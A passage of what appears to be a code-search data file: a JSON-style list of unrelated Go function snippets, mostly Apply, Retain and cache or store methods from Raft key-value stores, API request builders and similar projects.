kv.lastApplied)\n\t\t\t\tkv.applyCommand(v) //may ignore duplicate cmd\n\n\t\t\t}\n\t\t\tkv.lastApplied = m.CommandIndex\n\t\t\tif kv.needSnapshot() {\n\t\t\t\tkv.doSnapshotForRaft(m.CommandIndex)\n\t\t\t\tkv.logger.L(logger.ShardKVSnapSize, \"after snapshot, raft size: %d,snap size: %d\\n\",\n\t\t\t\t\tkv.persister.RaftStateSize(), kv.persister.SnapshotSize())\n\t\t\t}\n\t\t\tkv.notify(m.CommandIndex)\n\n\t\t} else if m.CommandValid && m.CommandIndex != 1+kv.lastApplied {\n\t\t\t// out of order cmd, just ignore\n\t\t\tkv.logger.L(logger.ShardKVApply, \"ignore apply %v for lastApplied %v\\n\",\n\t\t\t\tm.CommandIndex, kv.lastApplied)\n\t\t} else {\n\t\t\tkv.logger.L(logger.ShardKVApply, \"Wrong apply msg\\n\")\n\t\t}\n\n\t\tkv.mu.Unlock()\n\t}\n\n}","func (m *IndexedMap[PrimaryKey, Value, Idx]) Remove(ctx context.Context, pk PrimaryKey) error {\n\terr := m.unref(ctx, pk)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn m.m.Remove(ctx, pk)\n}","func (c *SetCommand) Apply(server *raft.Server) (interface{}, error) {\n\treturn etcdStore.Set(c.Key, c.Value, c.ExpireTime, server.CommitIndex())\n}","func (pool *ComplexPool) ApplyCache() error {\n\tif !pool.CacheAvailable {\n\t\treturn fmt.Errorf(\"prox (%p): no cache to revert back to\", pool)\n\t}\n\n\tpool.All = pool.CacheAll\n\tpool.Unused = pool.CacheUnused\n\n\tpool.CacheAvailable = false\n\n\treturn nil\n}","func (o *Operation) Apply(v interface{}) (interface{}, error) {\n\tf, ok := opApplyMap[o.Op]\n\tif !ok {\n\t\treturn v, fmt.Errorf(\"unknown operation: %s\", o.Op)\n\t}\n\n\tresult, err := f(o, v)\n\tif err != nil {\n\t\treturn result, fmt.Errorf(\"error applying operation %s: %s\", o.Op, err)\n\t}\n\n\treturn result, nil\n}","func (kv *ShardKV) ApplyOp(op Op, seqNum int) {\n key := op.Key\n val := op.Value\n doHash := op.DoHash\n id := op.ID\n clientConfigNum := op.ConfigNum\n kvConfigNum := kv.configNum\n shardNum := key2shard(key)\n\n if op.Type != \"Reconfigure\" && (clientConfigNum != kvConfigNum ||\n kv.configs[kvConfigNum].Shards[shardNum] != kv.gid) {\n kv.results[id] = ClientReply{Err:ErrorString}\n return\n }\n\n if op.Type != \"Reconfigure\" {\n DPrintf(\"Group %v servicing shard %v at config %v\", kv.gid, shardNum, kvConfigNum) \n }\n clientID, counter := parseID(id)\n creply, _ := kv.current.dedup[clientID]\n if creply.Counter >= counter && creply.Counter > 0 {\n kv.results[id] = ClientReply{Value:creply.Value, Err:creply.Err, Counter:creply.Counter}\n return\n }\n\n if op.Type == \"Put\" {\n //fmt.Printf(\"Applying put for key %v with value %v at group %v machine %v\\n\", key, val, kv.gid, kv.me)\n prev := kv.storage.Put(key, val, doHash, shardNum, kvConfigNum)\n kv.results[id] = ClientReply{Value:prev, Err:OK, Counter:counter}\n kv.current.dedup[clientID] = ClientReply{Value:prev, Counter: counter, Err:OK}\n } else if op.Type == \"Reconfigure\" {\n _, ok := kv.configs[op.Config.Num]\n if ok || op.Config.Num - kv.configNum != 1 {\n return\n }\n kv.configs[op.Config.Num] = op.Config\n kv.TakeSnapshot(op.Config.Num)\n kv.SyncShards(op.Config.Num)\n } else {\n value := kv.storage.Get(key, shardNum)\n kv.results[id] = ClientReply{Value:value, Err:OK, Counter:counter}\n kv.current.dedup[clientID] = ClientReply{Value:value, Counter: counter, Err:OK}\n }\n}","func (instance *cache) unsafeCommitEntry(key string, content Cacheable) (ce *Entry, xerr fail.Error) {\n\tif _, ok := instance.reserved[key]; !ok {\n\t\treturn nil, fail.NotAvailableError(\"the cache entry '%s' is not reserved\", key)\n\t}\n\n\t// content may bring new key, based on content.GetID(), than the key reserved; we have to check if this new key has not been reserved by someone else...\n\tif content.GetID() != key {\n\t\tif _, ok := instance.reserved[content.GetID()]; ok {\n\t\t\treturn nil, fail.InconsistentError(\"the cache entry '%s' corresponding to the ID of the content is reserved; content cannot be committed\", content.GetID())\n\t\t}\n\t}\n\n\t// Everything seems ok, we can update\n\tvar ok bool\n\tif ce, ok = instance.cache[key]; ok {\n\t\t// FIXME: this has to be tested with a specific unit test\n\t\terr := content.AddObserver(instance)\n\t\tif err != nil {\n\t\t\treturn nil, fail.ConvertError(err)\n\t\t}\n\t\t// if there was an error after this point we should Remove the observer\n\n\t\tce.content = data.NewImmutableKeyValue(content.GetID(), content)\n\t\t// reserved key may have to change accordingly with the ID of content\n\t\tdelete(instance.cache, key)\n\t\tdelete(instance.reserved, key)\n\t\tinstance.cache[content.GetID()] = ce\n\t\tce.unlock()\n\n\t\treturn ce, nil\n\t}\n\n\treturn nil, fail.NotFoundError(\"failed to find cache entry identified by '%s'\", key)\n}","func (h Hook) apply(m *Meta) {\n\tm.Hooks = append(m.Hooks, h)\n}","func (r ApiGetResourcepoolLeaseListRequest) Apply(apply string) ApiGetResourcepoolLeaseListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (this *ObjectRemove) Apply(context Context, first, second value.Value) (value.Value, error) {\n\t// Check for type mismatches\n\tif first.Type() == value.MISSING || second.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if first.Type() != value.OBJECT || second.Type() != value.STRING {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\tfield := second.Actual().(string)\n\n\trv := first.CopyForUpdate()\n\trv.UnsetField(field)\n\treturn rv, nil\n}","func (r SpanReference) Apply(o *StartSpanOptions) {\n\tif r.ReferencedContext != nil {\n\t\to.References = append(o.References, r)\n\t}\n}","func (mc *MapChanges) consumeMapChanges(policyMapState MapState) (adds, deletes MapState) {\n\tmc.mutex.Lock()\n\tadds = make(MapState, len(mc.changes))\n\tdeletes = make(MapState, len(mc.changes))\n\n\tfor i := range mc.changes {\n\t\tif mc.changes[i].Add {\n\t\t\t// insert but do not allow non-redirect entries to overwrite a redirect entry,\n\t\t\t// nor allow non-deny entries to overwrite deny entries.\n\t\t\t// Collect the incremental changes to the overall state in 'mc.adds' and 'mc.deletes'.\n\t\t\tpolicyMapState.denyPreferredInsertWithChanges(mc.changes[i].Key, mc.changes[i].Value, adds, deletes)\n\t\t} else {\n\t\t\t// Delete the contribution of this cs to the key and collect incremental changes\n\t\t\tfor cs := range mc.changes[i].Value.selectors { // get the sole selector\n\t\t\t\tpolicyMapState.deleteKeyWithChanges(mc.changes[i].Key, cs, adds, deletes)\n\t\t\t}\n\t\t}\n\t}\n\tmc.changes = nil\n\tmc.mutex.Unlock()\n\treturn adds, deletes\n}","func (r *recursiveCteIter) store(row sql.Row, key uint64) {\n\tif r.deduplicate {\n\t\tr.cache.Put(key, struct{}{})\n\t}\n\tr.temp = append(r.temp, row)\n\treturn\n}","func (s HelpAppUpdateArray) Retain(keep func(x HelpAppUpdate) bool) HelpAppUpdateArray {\n\tn := 0\n\tfor _, x := range s {\n\t\tif keep(x) {\n\t\t\ts[n] = x\n\t\t\tn++\n\t\t}\n\t}\n\ts = s[:n]\n\n\treturn s\n}","func (r ApiGetResourcepoolLeaseResourceListRequest) Apply(apply string) ApiGetResourcepoolLeaseResourceListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (m *systrayMap) Decref(id refId) {\n\tm.lock.RLock()\n\tref, ok := m.m[id]\n\tm.lock.RUnlock()\n\n\tif !ok {\n\t\treturn\n\t}\n\n\trefs := atomic.AddUint32(&ref.refs, ^uint32(0))\n\t// fmt.Printf(\"storage: Decref %v to %d\\n\", ref, refs)\n\tif refs != 0 {\n\t\treturn\n\t}\n\n\tm.lock.Lock()\n\tif atomic.LoadUint32(&ref.refs) == 0 {\n\t\t// fmt.Printf(\"storage: Deleting %v\\n\", ref)\n\t\tdelete(m.m, id)\n\t}\n\tm.lock.Unlock()\n}","func (r ApiGetHyperflexVmRestoreOperationListRequest) Apply(apply string) ApiGetHyperflexVmRestoreOperationListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (p *ClusterProvider) Apply() error {\n\t// This return nil for existing cluster\n\treturn nil\n}","func (a *Applier) Apply(ctx context.Context, step *Step) (retErr error) {\n\tvar db *kv.DB\n\tdb, step.DBID = a.getNextDBRoundRobin()\n\n\tstep.Before = db.Clock().Now()\n\tdefer func() {\n\t\tstep.After = db.Clock().Now()\n\t\tif p := recover(); p != nil {\n\t\t\tretErr = errors.Errorf(`panic applying step %s: %v`, step, p)\n\t\t}\n\t}()\n\tapplyOp(ctx, db, &step.Op)\n\treturn nil\n}","func (wm *WatchMap) Store(key schema.GroupVersionKind) {\n\twm.mutex.Lock()\n\tdefer wm.mutex.Unlock()\n\twm.internal[key] = nil\n}","func (rc *BypassRevisionCache) Put(docID string, docRev DocumentRevision) {\n\t// no-op\n}","func (fdb *fdbSlice) insert(k Key, v Value, workerId int) {\n\n\tvar err error\n\tvar oldkey Key\n\n\tcommon.Tracef(\"ForestDBSlice::insert \\n\\tSliceId %v IndexInstId %v Set Key - %s \"+\n\t\t\"Value - %s\", fdb.id, fdb.idxInstId, k, v)\n\n\t//check if the docid exists in the back index\n\tif oldkey, err = fdb.getBackIndexEntry(v.Docid(), workerId); err != nil {\n\t\tfdb.checkFatalDbError(err)\n\t\tcommon.Errorf(\"ForestDBSlice::insert \\n\\tSliceId %v IndexInstId %v Error locating \"+\n\t\t\t\"backindex entry %v\", fdb.id, fdb.idxInstId, err)\n\t\treturn\n\t} else if oldkey.EncodedBytes() != nil {\n\t\t//TODO: Handle the case if old-value from backindex matches with the\n\t\t//new-value(false mutation). Skip It.\n\n\t\t//there is already an entry in main index for this docid\n\t\t//delete from main index\n\t\tif err = fdb.main[workerId].DeleteKV(oldkey.EncodedBytes()); err != nil {\n\t\t\tfdb.checkFatalDbError(err)\n\t\t\tcommon.Errorf(\"ForestDBSlice::insert \\n\\tSliceId %v IndexInstId %v Error deleting \"+\n\t\t\t\t\"entry from main index %v\", fdb.id, fdb.idxInstId, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t//If secondary-key is nil, no further processing is required. If this was a KV insert,\n\t//nothing needs to be done. If this was a KV update, only delete old back/main index entry\n\tif v.KeyBytes() == nil {\n\t\tcommon.Errorf(\"ForestDBSlice::insert \\n\\tSliceId %v IndexInstId %v Received NIL secondary key. \"+\n\t\t\t\"Skipped Key %s. Value %s.\", fdb.id, fdb.idxInstId, k, v)\n\t\treturn\n\t}\n\n\t//set the back index entry \n\tif err = fdb.back[workerId].SetKV([]byte(v.Docid()), k.EncodedBytes()); err != nil {\n\t\tfdb.checkFatalDbError(err)\n\t\tcommon.Errorf(\"ForestDBSlice::insert \\n\\tSliceId %v IndexInstId %v Error in Back Index Set. \"+\n\t\t\t\"Skipped Key %s. Value %s. Error %v\", fdb.id, fdb.idxInstId, v, k, err)\n\t\treturn\n\t}\n\n\t//set in main index\n\tif err = fdb.main[workerId].SetKV(k.EncodedBytes(), v.EncodedBytes()); err != nil {\n\t\tfdb.checkFatalDbError(err)\n\t\tcommon.Errorf(\"ForestDBSlice::insert \\n\\tSliceId %v IndexInstId %v Error in Main Index Set. \"+\n\t\t\t\"Skipped Key %s. Value %s. Error %v\", fdb.id, fdb.idxInstId, k, v, err)\n\t\treturn\n\t}\n\n}","func (c *summaryCache) refresh(current map[string]*eventsStatementsSummaryByDigest) {\n\tc.rw.Lock()\n\tdefer c.rw.Unlock()\n\n\tnow := time.Now()\n\n\tfor k, t := range c.added {\n\t\tif now.Sub(t) > c.retain {\n\t\t\tdelete(c.items, k)\n\t\t\tdelete(c.added, k)\n\t\t}\n\t}\n\n\tfor k, v := range current {\n\t\tc.items[k] = v\n\t\tc.added[k] = now\n\t}\n}","func (s *Store) Apply(log *raft.Log) interface{} {\n\tvar c command\n\tif err := json.Unmarshal(log.Data, &c); err != nil {\n\t\tpanic(fmt.Sprintf(\"Failed to unmarshal command: %s\", err.Error()))\n\t}\n\n\tswitch c.Op {\n\tcase \"SET\":\n\t\treturn s.applySet(c.Key, c.Val)\n\tcase \"DELETE\":\n\t\treturn s.applyDelete(c.Key)\n\tdefault:\n\t\treturn fmt.Sprintf(\"Unsupported operation: %s\", c.Op)\n\t}\n\n\treturn nil\n}","func(s *SetImp) Apply(t Target, a Action) os.Error {\n\tif err := t.ApplyPreq(a); err != nil { return err }\n\tif err := t.Apply(a); err != nil { return err }\n\treturn nil\n}","func (r ApiGetHyperflexBackupClusterListRequest) Apply(apply string) ApiGetHyperflexBackupClusterListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (db *StakeDatabase) applyDiff(poolDiff PoolDiff, inVals []int64) {\n\tdb.liveTicketMtx.Lock()\n\tfor i, hash := range poolDiff.In {\n\t\t_, ok := db.liveTicketCache[hash]\n\t\tif ok {\n\t\t\tlog.Warnf(\"Just tried to add a ticket (%v) to the pool, but it was already there!\", hash)\n\t\t\tcontinue\n\t\t}\n\n\t\tvar val int64\n\t\tif inVals == nil {\n\t\t\ttx, err := db.NodeClient.GetRawTransaction(context.TODO(), &hash)\n\t\t\tif err != nil {\n\t\t\t\tlog.Errorf(\"Unable to get transaction %v: %v\\n\", hash, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tval = tx.MsgTx().TxOut[0].Value\n\t\t} else {\n\t\t\tval = inVals[i]\n\t\t}\n\n\t\tdb.liveTicketCache[hash] = val\n\t\tdb.poolValue += val\n\t}\n\n\tfor _, h := range poolDiff.Out {\n\t\tvalOut, ok := db.liveTicketCache[h]\n\t\tif !ok {\n\t\t\tlog.Debugf(\"Didn't find %v in live ticket cache, cannot remove it.\", h)\n\t\t\tcontinue\n\t\t}\n\t\tdb.poolValue -= valOut\n\t\tdelete(db.liveTicketCache, h)\n\t}\n\tdb.liveTicketMtx.Unlock()\n}","func (a KubectlLayerApplier) Apply(ctx context.Context, layer layers.Layer) (err error) {\n\tlogging.TraceCall(a.getLog(layer))\n\tdefer logging.TraceExit(a.getLog(layer))\n\ta.logDebug(\"applying\", layer)\n\n\tsourceHrs, err := a.getSourceHelmReleases(layer)\n\tif err != nil {\n\t\treturn errors.WithMessagef(err, \"%s - failed to get source helm releases\", logging.CallerStr(logging.Me))\n\t}\n\n\terr = a.applyHelmReleaseObjects(ctx, layer, sourceHrs)\n\tif err != nil {\n\t\treturn errors.WithMessagef(err, \"%s - failed to apply helmrelease objects\", logging.CallerStr(logging.Me))\n\t}\n\n\thrs, err := a.getSourceHelmRepos(layer)\n\tif err != nil {\n\t\treturn errors.WithMessagef(err, \"%s - failed to get source helm repos\", logging.CallerStr(logging.Me))\n\t}\n\n\terr = a.applyHelmRepoObjects(ctx, layer, hrs)\n\tif err != nil {\n\t\treturn errors.WithMessagef(err, \"%s - failed to apply helmrepo objects\", logging.CallerStr(logging.Me))\n\t}\n\treturn nil\n}","func (r *HistoryRunner) Apply(ctx context.Context) (err error) {\n\t// save history on exit\n\tbeforeLen := r.hc.HistoryLength()\n\tdefer func() {\n\t\t// if the number of records in history doesn't change,\n\t\t// we don't want to update a timestamp of history file.\n\t\tafterLen := r.hc.HistoryLength()\n\t\tlog.Printf(\"[DEBUG] [runner] length of history records: beforeLen = %d, afterLen = %d\\n\", beforeLen, afterLen)\n\t\tif beforeLen == afterLen {\n\t\t\treturn\n\t\t}\n\n\t\t// be sure not to overwrite an original error generated by outside of defer\n\t\tlog.Print(\"[INFO] [runner] save history\\n\")\n\t\tserr := r.hc.Save(ctx)\n\t\tif serr == nil {\n\t\t\tlog.Print(\"[INFO] [runner] history saved\\n\")\n\t\t\treturn\n\t\t}\n\n\t\t// return a named error from defer\n\t\tlog.Printf(\"[ERROR] [runner] failed to save history. The history may be inconsistent\\n\")\n\t\tif err == nil {\n\t\t\terr = fmt.Errorf(\"apply succeed, but failed to save history: %v\", serr)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"failed to save history: %v, failed to apply: %v\", serr, err)\n\t}()\n\n\tif len(r.filename) != 0 {\n\t\t// file mode\n\t\terr = r.applyFile(ctx, r.filename)\n\t\treturn err\n\t}\n\n\t// directory mode\n\terr = r.applyDir(ctx)\n\treturn err\n}","func (s *Scope) Apply(f func()) {\n\ts.Call(\"$apply\", f)\n}","func (cc *Cache) Set(attrs attribute.Bag, value Value) {\n\tnow := cc.getTime()\n\tif value.Expiration.Before(now) {\n\t\t// value is already expired, don't add it\n\t\tcc.recordStats()\n\t\treturn\n\t}\n\n\tcc.keyShapesLock.RLock()\n\tshapes := cc.keyShapes\n\tcc.keyShapesLock.RUnlock()\n\n\t// find a matching key shape\n\tfor _, shape := range shapes {\n\t\tif shape.isCompatible(attrs) {\n\t\t\tcc.cache.SetWithExpiration(shape.makeKey(attrs), value, value.Expiration.Sub(now))\n\t\t\tcc.recordStats()\n\t\t\treturn\n\t\t}\n\t}\n\n\tshape := newKeyShape(value.ReferencedAttributes, cc.globalWords)\n\n\t// Note that there's TOCTOU window here, but it's OK. It doesn't hurt that multiple\n\t// equivalent keyShape entries may appear in the slice.\n\tcc.keyShapesLock.Lock()\n\tcc.keyShapes = append(cc.keyShapes, shape)\n\tcc.keyShapesLock.Unlock()\n\n\tcc.cache.SetWithExpiration(shape.makeKey(attrs), value, value.Expiration.Sub(now))\n\tcc.recordStats()\n}","func (pool *WorkerPool) Apply(fn taskFunc) {\n\tworker := pool.ApplyWorker()\n\tgo func() {\n\t\tdefer pool.RecycleWorker(worker)\n\t\tfn()\n\t}()\n}","func (k *kubectlContext) Apply(args ...string) error {\n\tout, err := k.do(append([]string{\"apply\"}, args...)...)\n\tk.t.Log(string(out))\n\treturn err\n}","func (t *typeReference) Apply(key string, value interface{}, ctx *ParsingContext) (bool, error) {\n\tref, ok := ctx.Current.(*VocabularyReference)\n\tif !ok {\n\t\t// May be during resolve reference phase -- nothing to do.\n\t\treturn true, nil\n\t}\n\tref.Name = t.t.GetName()\n\tref.URI = t.t.URI\n\tref.Vocab = t.vocabName\n\treturn true, nil\n}","func (r ApiGetHyperflexConfigResultEntryListRequest) Apply(apply string) ApiGetHyperflexConfigResultEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (graph *graphRW) Release() {\n\tif graph.record && graph.parent.recordOldRevs {\n\t\tgraph.parent.rwLock.Lock()\n\t\tdefer graph.parent.rwLock.Unlock()\n\n\t\tdestGraph := graph.parent.graph\n\t\tfor key, dataUpdated := range graph.newRevs {\n\t\t\tnode, exists := destGraph.nodes[key]\n\t\t\tif _, hasTimeline := destGraph.timeline[key]; !hasTimeline {\n\t\t\t\tif !exists {\n\t\t\t\t\t// deleted, but never recorded => skip\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tdestGraph.timeline[key] = []*RecordedNode{}\n\t\t\t}\n\t\t\trecords := destGraph.timeline[key]\n\t\t\tif len(records) > 0 {\n\t\t\t\tlastRecord := records[len(records)-1]\n\t\t\t\tif lastRecord.Until.IsZero() {\n\t\t\t\t\tlastRecord.Until = time.Now()\n\t\t\t\t}\n\t\t\t}\n\t\t\tif exists {\n\t\t\t\tdestGraph.timeline[key] = append(records,\n\t\t\t\t\tdestGraph.recordNode(node, !dataUpdated))\n\t\t\t}\n\t\t}\n\n\t\t// remove past revisions from the log which are too old to keep\n\t\tnow := time.Now()\n\t\tsinceLastTrimming := now.Sub(graph.parent.lastRevTrimming)\n\t\tif sinceLastTrimming >= oldRevsTrimmingPeriod {\n\t\t\tfor key, records := range destGraph.timeline {\n\t\t\t\tvar i, j int // i = first after init period, j = first after init period to keep\n\t\t\t\tfor i = 0; i < len(records); i++ {\n\t\t\t\t\tsinceStart := records[i].Since.Sub(graph.parent.startTime)\n\t\t\t\t\tif sinceStart > graph.parent.permanentInitPeriod {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfor j = i; j < len(records); j++ {\n\t\t\t\t\tif records[j].Until.IsZero() {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\telapsed := now.Sub(records[j].Until)\n\t\t\t\t\tif elapsed <= graph.parent.recordAgeLimit {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif j > i {\n\t\t\t\t\tcopy(records[i:], records[j:])\n\t\t\t\t\tnewLen := len(records) - (j - i)\n\t\t\t\t\tfor k := newLen; k < len(records); k++ {\n\t\t\t\t\t\trecords[k] = nil\n\t\t\t\t\t}\n\t\t\t\t\tdestGraph.timeline[key] = records[:newLen]\n\t\t\t\t}\n\t\t\t\tif len(destGraph.timeline[key]) == 0 {\n\t\t\t\t\tdelete(destGraph.timeline, key)\n\t\t\t\t}\n\t\t\t}\n\t\t\tgraph.parent.lastRevTrimming = now\n\t\t}\n\t}\n}","func (pred *NotEqPredicate) Apply(c cm.Collection) error {\n\tcol := c.(*Table)\n\tcol.filterStatements = append(col.filterStatements,\n\t\tfmt.Sprintf(\"%s != ?\", pred.Column.Name()))\n\n\tcol.filterValues = append(col.filterValues, pred.Value)\n\n\treturn nil\n}","func (client *Client) Retain(ctx context.Context, req *pb.RetainRequest) (err error) {\n\tdefer mon.Task()(&ctx)(&err)\n\t_, err = client.client.Retain(ctx, req)\n\treturn Error.Wrap(err)\n}","func (op *OpAdd) Apply(e *entry.Entry) error {\n\tswitch {\n\tcase op.Value != nil:\n\t\terr := e.Set(op.Field, op.Value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tcase op.program != nil:\n\t\tenv := helper.GetExprEnv(e)\n\t\tdefer helper.PutExprEnv(env)\n\n\t\tresult, err := vm.Run(op.program, env)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"evaluate value_expr: %s\", err)\n\t\t}\n\t\terr = e.Set(op.Field, result)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tdefault:\n\t\t// Should never reach here if we went through the unmarshalling code\n\t\treturn fmt.Errorf(\"neither value or value_expr are are set\")\n\t}\n\n\treturn nil\n}","func (p *ArgsEnvsCacheEntry) Retain() {\n\tp.refCount++\n}","func (s MessagesFavedStickersArray) Retain(keep func(x MessagesFavedStickers) bool) MessagesFavedStickersArray {\n\tn := 0\n\tfor _, x := range s {\n\t\tif keep(x) {\n\t\t\ts[n] = x\n\t\t\tn++\n\t\t}\n\t}\n\ts = s[:n]\n\n\treturn s\n}","func (v *Float64Value) Apply(apply func(value float64)) {\n\tif v.fs.Changed(v.name) {\n\t\tapply(v.value)\n\t}\n}","func (entry *TableEntry) ApplyCommit() (err error) {\n\terr = entry.BaseEntryImpl.ApplyCommit()\n\tif err != nil {\n\t\treturn\n\t}\n\t// It is not wanted that a block spans across different schemas\n\tif entry.isColumnChangedInSchema() {\n\t\tentry.FreezeAppend()\n\t}\n\t// update the shortcut to the lastest schema\n\tentry.TableNode.schema.Store(entry.GetLatestNodeLocked().BaseNode.Schema)\n\treturn\n}","func (t *Tree) Keep(name string) error {\n\tlogrus.Infof(\"Keeping %s\", name)\n\tleaf, ok := t.packageMap[name]\n\tif !ok {\n\t\treturn fmt.Errorf(\"package %s not found\", name)\n\t}\n\tleaf.keep = true\n\tleaf.userKeep = true\n\tt.packageMap[name] = leaf\n\treturn nil\n}","func (t *TaskStore) applySingleDiff(diff updateDiff, readonly bool) {\n\t// If readonly, then we mutate only the temporary maps.\n\t// Regardless of that status, we always update the heaps.\n\tot := t.getTask(diff.OldID)\n\tnt := diff.NewTask\n\n\tif ot != nil {\n\t\tdelete(t.tmpTasks, ot.ID)\n\t\tt.heapPop(ot.Group, ot.ID)\n\t\tif readonly {\n\t\t\tt.delTasks[ot.ID] = true\n\t\t} else {\n\t\t\tdelete(t.tasks, ot.ID)\n\t\t}\n\t}\n\tif nt != nil {\n\t\tif readonly {\n\t\t\tt.tmpTasks[nt.ID] = nt\n\t\t} else {\n\t\t\tt.tasks[nt.ID] = nt\n\t\t}\n\t\tt.heapPush(nt)\n\t}\n}","func Retain[T any](slice []T, fn func(v T) bool) []T {\n\tvar j int\n\tfor _, v := range slice {\n\t\tif fn(v) {\n\t\t\tslice[j] = v\n\t\t\tj++\n\t\t}\n\t}\n\treturn slice[:j]\n}","func (c *doubleCacheBuffer[T]) evict(newTs uint64) {\n\tc.tail = c.head\n\tc.head = newDoubleCacheItem[T](newTs, c.maxSize/2)\n\tc.ts = c.tail.headTs\n}","func (c *WriteCommand) Apply(server raft.Server) (interface{}, error) {\n\tctx := server.Context().(ServerContext)\n\tdb := ctx.Server.db\n\tdb.Put(c.Key, c.Value)\n\treturn nil, nil\n}","func (s EncryptedChatDiscardedArray) Retain(keep func(x EncryptedChatDiscarded) bool) EncryptedChatDiscardedArray {\n\tn := 0\n\tfor _, x := range s {\n\t\tif keep(x) {\n\t\t\ts[n] = x\n\t\t\tn++\n\t\t}\n\t}\n\ts = s[:n]\n\n\treturn s\n}","func (dm *DCOSMetadata) Apply(in ...telegraf.Metric) []telegraf.Metric {\n\t// stale tracks whether our container cache is stale\n\tstale := false\n\n\t// track unrecognised container ids\n\tnonCachedIDs := map[string]bool{}\n\n\tfor _, metric := range in {\n\t\t// Ignore metrics without container_id tag\n\t\tif cid, ok := metric.Tags()[\"container_id\"]; ok {\n\t\t\tif c, ok := dm.containers[cid]; ok {\n\t\t\t\t// Data for this container was cached\n\t\t\t\tfor k, v := range c.taskLabels {\n\t\t\t\t\tmetric.AddTag(k, v)\n\t\t\t\t}\n\t\t\t\tmetric.AddTag(\"service_name\", c.frameworkName)\n\t\t\t\tif c.executorName != \"\" {\n\t\t\t\t\tmetric.AddTag(\"executor_name\", c.executorName)\n\t\t\t\t}\n\t\t\t\tmetric.AddTag(\"task_name\", c.taskName)\n\t\t\t} else {\n\t\t\t\tnonCachedIDs[cid] = true\n\t\t\t\tstale = true\n\t\t\t}\n\t\t}\n\t}\n\n\tif stale {\n\t\tcids := []string{}\n\t\tfor cid := range nonCachedIDs {\n\t\t\tcids = append(cids, cid)\n\t\t}\n\t\tgo dm.refresh(cids...)\n\t}\n\n\treturn in\n}","func Drain() map[int]*update.UpdateEntry {\n\told := currentQueue\n\tcurrentQueue = make(map[int]*update.UpdateEntry)\n\tfor k, v := range old {\n\t\told[k]=v.Duplicate()\n\t\told[k].Self=profile.NewBasicProfile(localprofile.GetProfile())\n\t}\n\treturn old\n}","func (r ApiGetHyperflexVmBackupInfoListRequest) Apply(apply string) ApiGetHyperflexVmBackupInfoListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (s HelpAppUpdateClassArray) Retain(keep func(x HelpAppUpdateClass) bool) HelpAppUpdateClassArray {\n\tn := 0\n\tfor _, x := range s {\n\t\tif keep(x) {\n\t\t\ts[n] = x\n\t\t\tn++\n\t\t}\n\t}\n\ts = s[:n]\n\n\treturn s\n}","func (f UnFunc) Apply(ctx context.Context, data interface{}) (interface{}, error) {\n\treturn f(ctx, data)\n}","func (r ApiGetHyperflexSoftwareDistributionEntryListRequest) Apply(apply string) ApiGetHyperflexSoftwareDistributionEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (r ApiGetHyperflexClusterBackupPolicyListRequest) Apply(apply string) ApiGetHyperflexClusterBackupPolicyListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (t *Dense) Apply(fn interface{}, opts ...FuncOpt) (retVal Tensor, err error) {\n\tfo := parseFuncOpts(opts...)\n\treuseT, incr := fo.incrReuse()\n\tsafe := fo.safe()\n\n\tvar reuse *Dense\n\tif reuse, err = getDense(reuseT); err != nil {\n\t\treturn\n\t}\n\n\t// check reuse and stuff\n\tvar res *Dense\n\tswitch {\n\tcase reuse != nil:\n\t\tres = reuse\n\t\tif res.len() != t.Size() {\n\t\t\terr = errors.Errorf(shapeMismatch, t.Shape(), reuse.Shape())\n\t\t\treturn\n\t\t}\n\tcase !safe:\n\t\tres = t\n\tdefault:\n\t\tif t.IsMaterializable() {\n\t\t\tres = t.Materialize().(*Dense)\n\t\t} else {\n\t\t\tres = t.Clone().(*Dense)\n\t\t}\n\t}\n\t// do\n\tswitch {\n\tcase t.viewOf == nil:\n\t\terr = res.mapFn(fn, incr)\n\tcase t.viewOf != nil:\n\t\tit := IteratorFromDense(t)\n\t\tif err = res.iterMap(fn, it, incr); err != nil {\n\t\t\treturn\n\t\t}\n\n\tdefault:\n\t\terr = errors.Errorf(\"Apply not implemented for this state: isView: %t and incr: %t\", t.viewOf == nil, incr)\n\t\treturn\n\t}\n\t// set retVal\n\tswitch {\n\tcase reuse != nil:\n\t\tif err = reuseCheckShape(reuse, t.Shape()); err != nil {\n\t\t\treturn\n\t\t}\n\t\tretVal = reuse\n\tcase !safe:\n\t\tretVal = t\n\tdefault:\n\t\tretVal = res\n\t\t// retVal = New(Of(t.t), WithBacking(res), WithShape(t.Shape()...))\n\t}\n\treturn\n}","func (p *propertyReference) Apply(key string, value interface{}, ctx *ParsingContext) (bool, error) {\n\tref, ok := ctx.Current.(*VocabularyReference)\n\tif !ok {\n\t\t// May be during resolve reference phase -- nothing to do.\n\t\treturn true, nil\n\t}\n\tref.Name = p.p.GetName()\n\tref.URI = p.p.URI\n\tref.Vocab = p.vocabName\n\treturn true, nil\n}","func (kv *ShardKV) applier() {\n\tfor kv.killed() == false {\n\t\tselect {\n\t\tcase message := <-kv.applyCh:\n\t\t\tDPrintf(\"{Node %v}{Group %v} tries to apply message %v\", kv.rf.Me(), kv.gid, message)\n\t\t\tif message.CommandValid {\n\t\t\t\tkv.mu.Lock()\n\t\t\t\tif message.CommandIndex <= kv.lastApplied {\n\t\t\t\t\tDPrintf(\"{Node %v}{Group %v} discards outdated message %v because a newer snapshot which lastApplied is %v has been restored\", kv.rf.Me(), kv.gid, message, 